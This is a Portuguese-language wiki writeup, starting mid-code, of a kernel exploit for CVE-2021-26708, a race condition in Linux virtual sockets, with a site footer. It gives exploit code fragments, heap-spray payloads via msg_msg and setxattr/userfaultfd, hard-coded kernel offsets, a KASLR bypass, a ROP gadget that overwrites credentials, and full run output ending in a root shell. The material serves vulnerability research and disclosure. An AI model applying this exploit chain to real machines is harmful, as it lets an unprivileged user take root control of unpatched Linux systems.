	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}

O valor do tamanho aqui é obtido do número de nanossegundos retornado por clock_gettime () , que pode ser diferente a cada vez. O syzkaller original não faz isso, porque quando o syzkaller gera a entrada de difusão, o valor do parâmetro syscall é determinado e não muda durante a execução.

== O poder de quatro bytes ==

Aqui eu escolho o Fedora 33 Server como alvo de pesquisa, a versão do kernel é 5.10.11-200.fc33.x86_64, e estou determinado a ignorar SMEP e SMAP.

Na primeira etapa, comecei a estudar a pulverização de heap estável, que explorava a execução de atividades do espaço do usuário para fazer com que o kernel alocasse outro objeto de 64 bytes no local do virtio_vsock_sock liberado. Após várias tentativas experimentais, foi confirmado que o virtio_vsock_sock liberado foi sobrescrito, indicando que a pulverização de heap é viável. Finalmente encontrei msgsnd () syscall. Ele cria struct msg_msg no espaço do kernel, consulte a saída do pahole:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

A frente é o cabeçalho da mensagem e o verso são os dados da mensagem. Se o struct msgbuf no espaço do usuário tiver um mtext de 16 bytes, o msg_msg correspondente será criado no cache de bloco kmalloc-64. Um write-after-free de 4 bytes destruirá o ponteiro de segurança void * no deslocamento 40. O campo msg_msg.security aponta para os dados do kernel alocados por lsm_msg_msg_alloc (). Quando msg_msg for recebido, ele será liberado por security_msg_msg_free (). Portanto, destruindo a primeira metade do indicador de segurança, um free arbitrário pode ser obtido.

== Vazamento de informações do kernel ==

Aqui é usado [https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D % 87% E6% BC% 8F% E6% B4% 9E CVE-2019-18683] a mesma técnica. O segundo connect () do socket virtual chama vsock_deassign_transport () e define vsk-> transport como NULL, tornando vsock_stream_setsockopt () Chamando virtio_transport_send_pkt_info () após a falha de memória, um aviso de kernel aparece:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

Por meio da depuração do gdb, verifica-se que o registro RCX contém o endereço do kernel do virtio_vsock_sock liberado, e o registro RBX contém o endereço do kernel do vsock_sock.

== Obtenha uma leitura arbitrária ==

=== De arbitrário gratuito para uso após livre ===

Libere um objeto do endereço do kernel vazado
Execute heap spray e cubra o objeto com dados controlados
Use objetos danificados para escalonamento de privilégios
A mensagem System V implementada pelo kernel tem um limite máximo de DATALEN_MSG, ou seja, PAGE_SIZE menos sizeof (struct msg_msg)). Se você enviar uma mensagem maior, as mensagens restantes serão salvas na lista de segmentos de mensagem. O msg_msg contém struct msg_msgseg * próximo para apontar para o primeiro segmento, e size_t m_ts é usado para armazenar o tamanho. Ao realizar uma operação de substituição, você pode colocar o valor controlado em msg_msg.m_ts e msg_msg.next:

![](/static/pwnwiki/img/T01a51dfe7a996e854c.png )

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

Mas como usar msg_msg para ler os dados do kernel? Ao ler a documentação da chamada do sistema msgrcv (), encontrei uma boa solução, usando sinalizadores msgrcv () e MSG:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

Este sinalizador faz com que o kernel copie os dados da mensagem para o espaço do usuário sem excluí-los da fila de mensagens. Se o kernel tiver CONFIG_CHECKPOINT_RESTORE = y, então MSG está disponível e é aplicável no Fedora Server.

=== Etapas de leitura arbitrária ===

Pronto para trabalhar:
Use sched_getaffinity () e CPU_COUNT () para calcular o número de CPUs disponíveis (pelo menos dois são necessários para esta vulnerabilidade);
Abra / dev / kmsg para análise;
mmap () configura userfaultfd () na área de memória spray_data como a última parte;
Inicie um pthread separado para lidar com eventos userfaultfd ();
Inicie 127 threads para setxattr () & userfaultfd () heap spray em msg_msg, e pendure-os em thread_barrier;
Obtenha o endereço do kernel do msg_msg original:
Competição condicional em soquetes virtuais;
Após o segundo connect (), espere 35 microssegundos no loop ocupado;
Chame msgsnd () para criar uma fila de mensagens separada; após corrupção de memória, o objeto msg_msg é colocado na posição virtio_vsock_sock;
Analise o log do kernel e salve o endereço do kernel de msg_msg do aviso do kernel (registro RCX);
Ao mesmo tempo, salve o endereço do kernel de vsock_sock do registro RBX;
Use o msg_msg danificado para realizar a liberação arbitrária do msg_msg original:
Use 4 bytes do endereço msg_msg original como SO_VM_SOCKETS_BUFFER_SIZE para obter corrupção de memória;
Competição condicional em soquetes virtuais;
Chame msgsnd () imediatamente após o segundo connect (); msg_msg é colocado na posição de virtio_vsock_sock para atingir a destruição;
O ponteiro de segurança do msg_msg agora destruído armazena o endereço do msg_msg original (da etapa 2);

![](/static/pwnwiki/img/T01a2a2d47c9494c4a5.png )

Se a corrupção da memória msg_msg.security do thread setsockopt () ocorrer durante o processamento de msgsnd (), a verificação de permissão SELinux falha;
Neste caso, msgsnd () retorna -1, e o msg_msg danificado é destruído; liberar msg_msg.security pode liberar o msg_msg original;
Substitua o msg_msg original por uma carga controlável:
Depois que msgsnd () falhar, a vulnerabilidade chamará pthread_barrier_wait () e chamará 127 pthreads para pulverização de heap;
Esses pthreads executam a carga útil de setxattr ();
O msg_msg original é sobrescrito por dados controláveis, e o ponteiro msg_msg.next armazena o endereço do objeto vsock_sock;

![](/static/pwnwiki/img/T0140baae964febb059.png )

Leia o conteúdo do objeto do kernel vsock_sock para o espaço do usuário, recebendo a mensagem da fila de mensagens armazenando o msg_msg substituído:

ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

== Encontre o alvo do ataque ==

Aqui estão os pontos que encontrei:
1. Cache de bloco dedicado, como PINGv6 e sock_inode_cache tem muitos ponteiros para objetos
2. O ponteiro de struct mem_cgroup * sk_memcg está no deslocamento 664 em vsock_sock.sk. A estrutura mem_cgroup é alocada no cache de bloco kmalloc-4k.
3. O ponteiro const struct cred * owner está no deslocamento 840 de vsock_sock.sk e armazena o endereço da credencial que pode ser sobrescrito para escalonamento de permissão.
4. O ponteiro de função void (* sk_write_space) (struct sock *) está no deslocamento 688 de vsock_sock.sk e é definido como o endereço da função de kernel sock_def_write_space (). Ele pode ser usado para calcular o deslocamento KASLR.

Aqui está como a vulnerabilidade extrai esses ponteiros da memória:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

== Implementar Use-after-free em sk_buff ==

O buffer relacionado à rede no kernel do Linux é representado por struct sk_buff. Há skb_shared_info e destructor_arg neste objeto, que pode ser usado para sequestro de fluxo de controle. Os dados de rede e skb_shared_info são colocados no mesmo bloco de memória do kernel apontado por sk_buff.head. Portanto, a criação de um pacote de rede de 2.800 bytes no espaço do usuário fará com que skb_shared_info seja alocado para o cache de bloco kmalloc-4k, assim como o objeto mem_cgroup.

Eu criei as seguintes etapas:

1. Use sockets (AF_INET, SOCK_DGRAM, IPPROTO_UDP) para criar um socket de cliente e 32 sockets de servidor

2. Prepare um buffer de 2.800 bytes no espaço do usuário e use 0x42 para memset ()

3. Use sendto () para enviar este buffer do socket do cliente para cada socket do servidor para criar objetos sk_buff em kmalloc-4k. Use `sched_setaffinity () em cada CPU disponível

4. Execute o processo de leitura arbitrária em vsock_sock

5. Calcule o possível endereço do kernel sk_buff como sk_memcg mais 4096 (o próximo elemento de kmalloc-4k)

6. Execute leituras arbitrárias neste possível endereço sk_buff

7. Se você encontrar 0x42424242424242lu na localização dos dados da rede, encontre o sk_buff real e vá para a etapa 8. Caso contrário, adicione 4096 ao endereço sk_buff possível e vá para a etapa 6

8. Execute o heap spray setxattr () & userfaultfd () de 32 pthreads em sk_buff e pendure-os em pthread_barrier

9. Liberar arbitrariamente o endereço do kernel sk_buff

10. Chame pthread_barrier_wait (), execute 32 setxattr () para cobrir o heap spray pthreads de skb_shared_info

11. Use recv () para receber mensagens de rede do soquete do servidor.

== Escrevendo livremente através de skb_shared_info ==

A seguir está uma carga útil válida que substitui o objeto sk_buff:

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info reside nos dados de injeção, exatamente no deslocamento SKB_SHINFO_OFFSET, que é 3776 bytes. O ponteiro skb_shared_info.destructor_arg armazena o endereço de struct ubuf_info. Como o endereço do kernel do sk_buff atacado é conhecido, um ubuf_info falso pode ser criado em MY_UINFO_OFFSET no buffer de rede. A seguir está o layout de uma carga útil válida:

![](/static/pwnwiki/img/T0185ccbf9f025c74da.png )

Vamos falar sobre o retorno de chamada destructor_arg:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

Como não consegui encontrar um gadget que atendesse às minhas necessidades em vmlinuz-5.10.11-200.fc33.x86_64, pesquisei e construí sozinho.

O ponteiro da função de retorno de chamada armazena o endereço de um dispositivo ROP, o RDI armazena o primeiro parâmetro da função de retorno de chamada, que é o endereço do próprio ubuf_info, e RDI + 8 aponta para ubuf_info.desc. gadget move ubuf_info.desc para RDX. Agora o RDX contém o ID do usuário efetivo e o endereço do ID do grupo menos um byte. Este byte é muito importante: quando o gadget grava a mensagem 1 do RSI na memória apontada pelo RDX, o uid e o gid efetivos serão sobrescritos com zero. Repita o mesmo processo até que os privilégios sejam atualizados para root. O fluxo de saída de todo o processo é o seguinte:

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

== Vídeo ==
https://www.youtube.com/watch?v=EC8PFOYOUgU

== Referência ==
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容